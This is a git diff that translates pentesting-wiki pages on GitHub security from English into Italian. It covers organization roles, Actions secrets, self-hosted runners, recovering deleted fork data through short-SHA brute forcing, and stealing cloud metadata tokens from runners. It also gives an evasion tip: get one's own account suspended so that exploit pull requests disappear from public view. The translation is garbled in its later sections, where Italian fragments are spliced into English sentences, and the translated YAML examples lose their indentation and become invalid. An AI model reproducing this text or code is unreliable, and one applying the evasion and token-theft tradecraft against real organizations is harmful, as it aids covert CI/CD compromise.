+(Tecnica da [**qui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, non **possiamo eliminare un PR da internet**, ma c'è un colpo di scena. Per gli account GitHub che sono **sospesi** da Github, tutti i loro **PR vengono automaticamente eliminati** e rimossi da internet. Quindi, per nascondere la tua attività, devi o far **sospendere il tuo account GitHub o far segnare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (fondamentalmente rimuovere tutti i tuoi PR di exploit)
-An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
+Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e lì hai, reso invisibile il tuo exploit su github.
> [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub il PR verrebbe rimosso.
-## Tools
+## Strumenti
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+I seguenti strumenti sono utili per trovare flussi di lavoro di Github Action e persino trovare quelli vulnerabili:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index ae156de2d..22cb2734f 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1,6 +1 @@
-# Gh Actions - Artifact Poisoning
-
-
-
-
-
+# Gh Actions - Avvelenamento degli Artifact
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 024aa5ff8..f77c0d2d3 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1,6 +1 @@
# GH Actions - Cache Poisoning
-
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 3cd632bd0..708ef04ec 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,6 +1 @@
-# Gh Actions - Context Script Injections
-
-
-
-
-
+# Gh Actions - Iniezioni di Script nel Contesto
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index f19fa699e..20a8acb85 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,60 +1,56 @@
-# Accessible Deleted Data in Github
+# Dati Cancellati Accessibili in Github
{{#include ../../banners/hacktricks-training.md}}
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Questi modi per accedere ai dati di Github che si suppone siano stati cancellati sono stati [**riportati in questo post del blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Accessing Deleted Fork Data
+## Accesso ai Dati di Fork Cancellati
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
+1. Forki un repository pubblico
+2. Committi codice al tuo fork
+3. Cancellare il tuo fork
> [!CAUTION]
-> The data commited in the deleted fork is still accessible.
+> I dati committati nel fork cancellato sono ancora accessibili.
-## Accessing Deleted Repo Data
+## Accesso ai Dati di Repo Cancellati
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
+1. Hai un repo pubblico su GitHub.
+2. Un utente fork il tuo repo.
+3. Committi dati dopo che loro lo hanno forkato (e non sincronizzano mai il loro fork con i tuoi aggiornamenti).
+4. Cancellare l'intero repo.
> [!CAUTION]
-> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+> Anche se hai cancellato il tuo repo, tutte le modifiche apportate ad esso sono ancora accessibili attraverso i fork.
-## Accessing Private Repo Data
+## Accesso ai Dati di Repo Privati
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
+1. Crei un repo privato che alla fine sarà reso pubblico.
+2. Crei una versione privata e interna di quel repo (tramite forking) e committi codice aggiuntivo per funzionalità che non intendi rendere pubbliche.
+3. Rendi pubblico il tuo repository “upstream” e mantieni il tuo fork privato.
> [!CAUTION]
-> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+> È possibile accedere a tutti i dati inviati al fork interno nel periodo tra la creazione del fork interno e la pubblicazione della versione pubblica.
-## How to discover commits from deleted/hidden forks
+## Come scoprire i commit da fork cancellati/nascosti
-The same blog post propose 2 options:
+Lo stesso post del blog propone 2 opzioni:
-### Directly accessing the commit
+### Accesso diretto al commit
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/`
+Se il valore dell'ID del commit (sha-1) è noto, è possibile accedervi in `https://github.com///commit/`
-### Brute-forcing short SHA-1 values
+### Forzatura di valori SHA-1 brevi
-It's the same to access both of these:
+È lo stesso per accedere a entrambi:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-And the latest one use a short sha-1 that is bruteforceable.
+E l'ultimo utilizza uno sha-1 breve che è forzabile.
-## References
+## Riferimenti
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index ae1365a0f..14199a1e8 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,248 +1,242 @@
-# Basic Github Information
+# Informazioni di Base su Github
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Struttura di Base
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
+La struttura di base dell'ambiente github di una grande **azienda** è possedere un **enterprise** che possiede **diverse organizzazioni** e ognuna di esse può contenere **diversi repository** e **diversi team**. Le aziende più piccole possono semplicemente **possedere un'organizzazione e nessun enterprise**.
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+Dal punto di vista di un utente, un **utente** può essere un **membro** di **diversi enterprise e organizzazioni**. All'interno di esse, l'utente può avere **diversi ruoli di enterprise, organizzazione e repository**.
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+Inoltre, un utente può essere **parte di diversi team** con diversi ruoli di enterprise, organizzazione o repository.
-And finally **repositories may have special protection mechanisms**.
+E infine, **i repository possono avere meccanismi di protezione speciali**.
-## Privileges
+## Privilegi
-### Enterprise Roles
+### Ruoli di Enterprise
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Proprietario dell'enterprise**: Le persone con questo ruolo possono **gestire gli amministratori, gestire le organizzazioni all'interno dell'enterprise, gestire le impostazioni dell'enterprise, applicare politiche tra le organizzazioni**. Tuttavia, **non possono accedere alle impostazioni o ai contenuti dell'organizzazione** a meno che non vengano nominati proprietari dell'organizzazione o non ricevano accesso diretto a un repository di proprietà dell'organizzazione.
+- **Membri dell'enterprise**: I membri delle organizzazioni possedute dal tuo enterprise sono anche **automaticamente membri dell'enterprise**.
-### Organization Roles
+### Ruoli di Organizzazione
-In an organisation users can have different roles:
+In un'organizzazione, gli utenti possono avere diversi ruoli:
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Proprietari dell'organizzazione**: I proprietari dell'organizzazione hanno **accesso amministrativo completo alla tua organizzazione**. Questo ruolo dovrebbe essere limitato, ma a non meno di due persone, nella tua organizzazione.
+- **Membri dell'organizzazione**: Il ruolo **predefinito**, non amministrativo per **le persone in un'organizzazione** è il membro dell'organizzazione. Per impostazione predefinita, i membri dell'organizzazione **hanno un certo numero di permessi**.
+- **Manager di fatturazione**: I manager di fatturazione sono utenti che possono **gestire le impostazioni di fatturazione per la tua organizzazione**, come le informazioni di pagamento.
+- **Manager della Sicurezza**: È un ruolo che i proprietari dell'organizzazione possono assegnare a qualsiasi team in un'organizzazione. Quando applicato, dà a ogni membro del team i permessi per **gestire gli avvisi e le impostazioni di sicurezza nella tua organizzazione, così come i permessi di lettura per tutti i repository** nell'organizzazione.
+- Se la tua organizzazione ha un team di sicurezza, puoi utilizzare il ruolo di manager della sicurezza per dare ai membri del team il minimo accesso di cui hanno bisogno all'organizzazione.
+- **Manager delle App Github**: Per consentire ad altri utenti di **gestire le App GitHub di proprietà di un'organizzazione**, un proprietario può concedere loro i permessi di manager delle App GitHub.
+- **Collaboratori esterni**: Un collaboratore esterno è una persona che ha **accesso a uno o più repository dell'organizzazione ma non è esplicitamente un membro** dell'organizzazione.
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Puoi **confrontare i permessi** di questi ruoli in questa tabella: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Members Privileges
+### Privilegi dei Membri
-In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+In _https://github.com/organizations/\/settings/member_privileges_ puoi vedere i **permessi che gli utenti avranno solo per essere parte dell'organizzazione**.
-The settings here configured will indicate the following permissions of members of the organisation:
+Le impostazioni qui configurate indicheranno i seguenti permessi dei membri dell'organizzazione:
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- Essere admin, scrittore, lettore o nessun permesso su tutti i repository dell'organizzazione.
+- Se i membri possono creare repository privati, interni o pubblici.
+- Se è possibile forkare i repository.
+- Se è possibile invitare collaboratori esterni.
+- Se siti pubblici o privati possono essere pubblicati.
+- I permessi che gli admin hanno sui repository.
+- Se i membri possono creare nuovi team.
-### Repository Roles
+### Ruoli di Repository
-By default repository roles are created:
+Per impostazione predefinita, i ruoli di repository sono creati:
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Lettura**: Raccomandato per **contributori non di codice** che vogliono visualizzare o discutere il tuo progetto.
+- **Triage**: Raccomandato per **contributori che devono gestire proattivamente problemi e pull request** senza accesso in scrittura.
+- **Scrittura**: Raccomandato per i contributori che **spingono attivamente al tuo progetto**.
+- **Manutenzione**: Raccomandato per **project manager che devono gestire il repository** senza accesso a azioni sensibili o distruttive.
+- **Admin**: Raccomandato per le persone che hanno bisogno di **accesso completo al progetto**, comprese azioni sensibili e distruttive come gestire la sicurezza o eliminare un repository.
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Puoi **confrontare i permessi** di ciascun ruolo in questa tabella [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_
+Puoi anche **creare i tuoi ruoli** in _https://github.com/organizations/\/settings/roles_
-### Teams
+### Team
-You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+Puoi **elencare i team creati in un'organizzazione** in _https://github.com/orgs/\/teams_. Nota che per vedere i team che sono figli di altri team devi accedere a ciascun team genitore.
-### Users
+### Utenti
-The users of an organization can be **listed** in _https://github.com/orgs/\/people._
+Gli utenti di un'organizzazione possono essere **elencati** in _https://github.com/orgs/\/people._
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+Nelle informazioni di ciascun utente puoi vedere i **team di cui l'utente è membro** e i **repository a cui l'utente ha accesso**.
-## Github Authentication
+## Autenticazione Github
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Github offre diversi modi per autenticarsi al tuo account e svolgere azioni per tuo conto.
-### Web Access
+### Accesso Web
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+Accedendo a **github.com** puoi effettuare il login utilizzando il tuo **nome utente e password** (e un **2FA potenzialmente**).
-### **SSH Keys**
+### **Chiavi SSH**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Puoi configurare il tuo account con una o più chiavi pubbliche che consentono alla relativa **chiave privata di eseguire azioni per tuo conto.** [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG Keys**
+#### **Chiavi GPG**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Non **puoi impersonare l'utente con queste chiavi**, ma se non le usi potrebbe essere possibile che tu **venga scoperto per aver inviato commit senza una firma**. Scopri di più su [modalità vigile qui](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
-### **Personal Access Tokens**
+### **Token di Accesso Personali**
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Puoi generare un token di accesso personale per **dare a un'applicazione accesso al tuo account**. Quando crei un token di accesso personale, l'**utente** deve **specificare** i **permessi** che il **token** avrà. [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth Applications
+### Applicazioni Oauth
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
+Le applicazioni Oauth possono chiederti permessi **per accedere a parte delle tue informazioni github o per impersonarti** per eseguire alcune azioni. Un esempio comune di questa funzionalità è il **pulsante di login con github** che potresti trovare in alcune piattaforme.
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
+- Puoi **creare** le tue **applicazioni Oauth** in [https://github.com/settings/developers](https://github.com/settings/developers)
+- Puoi vedere tutte le **applicazioni Oauth che hanno accesso al tuo account** in [https://github.com/settings/applications](https://github.com/settings/applications)
+- Puoi vedere i **scope che le App Oauth possono richiedere** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Puoi vedere l'accesso di terze parti delle applicazioni in un'**organizzazione** in _https://github.com/organizations/\/settings/oauth_application_policy_
-Some **security recommendations**:
+Alcuni **consigli di sicurezza**:
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Un **OAuth App** dovrebbe sempre **agire come l'utente GitHub autenticato in tutto GitHub** (ad esempio, quando fornisce notifiche agli utenti) e con accesso solo agli scope specificati.
+- Un OAuth App può essere utilizzato come fornitore di identità abilitando un "Login con GitHub" per l'utente autenticato.
+- **Non** costruire un **OAuth App** se desideri che la tua applicazione agisca su un **singolo repository**. Con lo scope `repo`, le OAuth Apps possono **agire su \_tutti**\_\*\* i repository dell'utente autenticato\*\*.
+- **Non** costruire un OAuth App per agire come un'applicazione per il tuo **team o azienda**. Le OAuth Apps si autenticano come un **singolo utente**, quindi se una persona crea un OAuth App per un'azienda da utilizzare, e poi lascia l'azienda, nessun altro avrà accesso ad essa.
+- **Di più** [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
-### Github Applications
+### Applicazioni Github
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Le applicazioni Github possono chiedere permessi per **accedere alle tue informazioni github o impersonarti** per eseguire azioni specifiche su risorse specifiche. Nelle App Github devi specificare i repository a cui l'app avrà accesso.
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_
+- Per installare un'App GitHub, devi essere un **proprietario dell'organizzazione o avere permessi di admin** in un repository.
+- L'App GitHub dovrebbe **collegarsi a un account personale o a un'organizzazione**.
+- Puoi creare la tua applicazione Github in [https://github.com/settings/apps](https://github.com/settings/apps)
+- Puoi vedere tutte le **applicazioni Github che hanno accesso al tuo account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Questi sono i **Endpoint API per le Applicazioni Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). A seconda dei permessi dell'App, sarà in grado di accedere ad alcuni di essi.
+- Puoi vedere le app installate in un'**organizzazione** in _https://github.com/organizations/\/settings/installations_
-Some security recommendations:
+Alcuni consigli di sicurezza:
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Un'App GitHub dovrebbe **eseguire azioni indipendentemente da un utente** (a meno che l'app non stia utilizzando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Per mantenere i token di accesso user-to-server più sicuri, puoi utilizzare token di accesso che scadranno dopo 8 ore e un token di aggiornamento che può essere scambiato per un nuovo token di accesso. Per ulteriori informazioni, vedere "[Aggiornamento dei token di accesso user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Assicurati che l'App GitHub si integri con **repository specifici**.
+- L'App GitHub dovrebbe **collegarsi a un account personale o a un'organizzazione**.
+- Non aspettarti che l'App GitHub conosca e faccia tutto ciò che un utente può.
+- **Non utilizzare un'App GitHub se hai solo bisogno di un servizio "Login con GitHub"**. Ma un'App GitHub può utilizzare un [flusso di identificazione utente](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) per accedere gli utenti _e_ fare altre cose.
+- Non costruire un'App GitHub se _vuoi solo_ agire come un utente GitHub e fare tutto ciò che quell'utente può fare.
+- Se stai utilizzando la tua app con GitHub Actions e desideri modificare i file di workflow, devi autenticarti per conto dell'utente con un token OAuth che include lo scope `workflow`. L'utente deve avere permessi di admin o scrittura sul repository che contiene il file di workflow. Per ulteriori informazioni, vedere "[Comprendere gli scope per le app OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Di più** [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+Questa **non è un modo per autenticarsi in github**, ma una **malicious** Github Action potrebbe ottenere **accesso non autorizzato a github** e **a seconda** dei **privilegi** concessi all'Action, potrebbero essere eseguiti diversi **attacchi**. Vedi sotto per ulteriori informazioni.
-## Git Actions
+## Azioni Git
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Le azioni Git consentono di automatizzare l'**esecuzione di codice quando si verifica un evento**. Di solito, il codice eseguito è **in qualche modo correlato al codice del repository** (forse costruire un container docker o controllare che la PR non contenga segreti).
-### Configuration
+### Configurazione
-In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+In _https://github.com/organizations/\/settings/actions_ è possibile controllare la **configurazione delle azioni github** per l'organizzazione.
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+È possibile vietare completamente l'uso delle azioni github, **consentire tutte le azioni github**, o consentire solo determinate azioni.
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+È anche possibile configurare **chi ha bisogno di approvazione per eseguire un'azione Github** e i **permessi del GITHUB_TOKEN** di un'azione Github quando viene eseguita.
-### Git Secrets
+### Segreti Git
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
-
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Le azioni Github di solito necessitano di qualche tipo di segreti per interagire con github o applicazioni di terze parti. Per **evitare di metterli in chiaro** nel repository, github consente di inserirli come **Segreti**.
+Questi segreti possono essere configurati **per il repository o per tutta l'organizzazione**. Poi, affinché l'**Azione possa accedere al segreto**, devi dichiararlo come:
```yaml
steps:
- - name: Hello world action
- with: # Set the secret as an input
- super_secret:${{ secrets.SuperSecret }}
- env: # Or as an environment variable
- super_secret:${{ secrets.SuperSecret }}
+- name: Hello world action
+with: # Set the secret as an input
+super_secret:${{ secrets.SuperSecret }}
+env: # Or as an environment variable
+super_secret:${{ secrets.SuperSecret }}
```
-
-#### Example using Bash
-
+#### Esempio usando Bash
```yaml
steps:
- - shell: bash
- env: SUPER_SECRET:${{ secrets.SuperSecret }}
- run: |
- example-command "$SUPER_SECRET"
+- shell: bash
+env: SUPER_SECRET:${{ secrets.SuperSecret }}
+run: |
+example-command "$SUPER_SECRET"
```
-
> [!WARNING]
-> Secrets **can only be accessed from the Github Actions** that have them declared.
+> I segreti **possono essere accessibili solo dalle Github Actions** che li hanno dichiarati.
-> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
+> Una volta configurati nel repo o nelle organizzazioni, **gli utenti di github non potranno più accedervi**, potranno solo **cambiarli**.
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+Pertanto, **l'unico modo per rubare i segreti di github è avere accesso alla macchina che sta eseguendo la Github Action** (in quel caso potrai accedere solo ai segreti dichiarati per l'Action).
### Git Environments
-Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
-
+Github consente di creare **ambienti** in cui puoi salvare **segreti**. Poi, puoi dare alla github action accesso ai segreti all'interno dell'ambiente con qualcosa come:
```yaml
jobs:
- deployment:
- runs-on: ubuntu-latest
- environment: env_name
+deployment:
+runs-on: ubuntu-latest
+environment: env_name
```
-
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+A Github Action can be **eseguita all'interno dell'ambiente github** or can be executed in a **third party infrastructure** configured by the user.
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **più economico**.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+You can **elencare i runner self-hosted** of an organization in _https://github.com/organizations/\/settings/actions/runners_
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+It's **non possibile eseguire un'azione Github di un'organizzazione all'interno di una box self-hosted** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **potrebbe avere accesso all'endpoint dei metadati** and **rubare il token dell'account di servizio** the machine is running with.
### Git Action Compromise
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromettere** the **container** where it's being executed.
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> A **malicious Github Action** run could be **abusata** by the attacker to:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
